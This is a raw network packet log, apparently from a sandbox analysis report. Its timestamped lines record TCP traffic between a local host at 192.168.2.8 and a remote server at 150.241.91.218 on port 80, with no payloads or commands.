                                                                                                                                                              Nov 20, 2024 11:21:45.887432098 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887439966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887450933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887459040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887469053 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887476921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887495041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887510061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887521982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887531996 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887540102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887578964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887578964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887578964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887634039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887644053 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887653112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887661934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887672901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887682915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887691975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887700081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887722969 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887746096 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887779951 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887789965 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887799978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887809038 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887819052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887923002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887923002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887923002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.887955904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887968063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887973070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887984037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.887994051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888051987 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888082027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888093948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888103008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888113022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888122082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888129950 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888144016 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888149977 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888154984 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888168097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888176918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888184071 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888184071 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888185978 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888233900 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888248920 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888261080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888269901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888278961 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888288021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888297081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888307095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888315916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888324022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888333082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888341904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.888372898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.888390064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.889755011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889770985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889781952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889791012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889801025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889810085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889818907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889830112 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889838934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889847994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889858007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.889903069 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.889903069 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.889930964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891428947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891551018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891624928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891709089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891720057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891731977 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891731977 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891741991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891756058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891812086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891812086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891812086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.891930103 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891941071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.891994953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892019033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892040014 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892054081 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892066956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892077923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892158985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892168999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892184019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892193079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892208099 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892208099 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892209053 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892214060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892226934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892261028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892261028 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892261028 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892261028 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892271996 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892297029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892308950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892330885 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892339945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.892450094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892450094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.892450094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.934809923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.934959888 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.935061932 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.935106039 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.935153961 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.939999104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940010071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940032959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940047026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940082073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940093994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940103054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940113068 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940164089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940176010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940200090 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940203905 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940203905 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940211058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940222979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940267086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940267086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940378904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940393925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940403938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940412045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940432072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940442085 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940442085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940464973 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940474033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940489054 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940504074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940515041 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940521955 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940535069 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940545082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940562963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940566063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940576077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940584898 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940604925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940612078 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940634966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940660954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940670013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940694094 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940748930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940762997 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940772057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940784931 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940790892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940803051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940807104 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940831900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940840960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940870047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940876007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940876007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940880060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940917015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940927982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940951109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.940960884 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940973997 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.940978050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941028118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941036940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941063881 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941097975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941108942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941158056 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941158056 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941181898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941191912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941257954 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941308022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941318035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941356897 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941370964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941417933 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941426992 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941452026 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941488028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941502094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941528082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941536903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941538095 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941586018 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.941813946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.941925049 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.942085028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.942095995 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.942183018 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.942482948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.942523956 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.942636013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.942723036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.942781925 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.943011045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.943177938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.943547010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.943705082 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.943736076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.943789959 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.943825960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.943943977 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944020033 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944113016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944135904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944291115 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944691896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944777966 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944837093 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944845915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944856882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944865942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944875002 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944894075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944902897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944910049 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944911957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.944930077 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944992065 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.944998026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.945008993 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.945123911 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.949359894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949462891 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.949485064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949500084 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949508905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949549913 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.949821949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949949026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949964046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.949973106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950010061 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950113058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950124025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950197935 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950262070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950383902 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950409889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950464010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950510979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950594902 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950817108 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950838089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950911045 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.950964928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950975895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.950984955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951041937 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.951092005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951102018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951180935 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.951241016 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951251984 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951303005 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.951405048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951482058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.951584101 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951595068 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951603889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951648951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.951699972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951709986 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.951894999 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.952096939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.952162981 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.952261925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.952307940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.952572107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.952644110 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.952739000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.952786922 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.952934980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.953021049 CET4979980192.168.2.8150.241.91.218
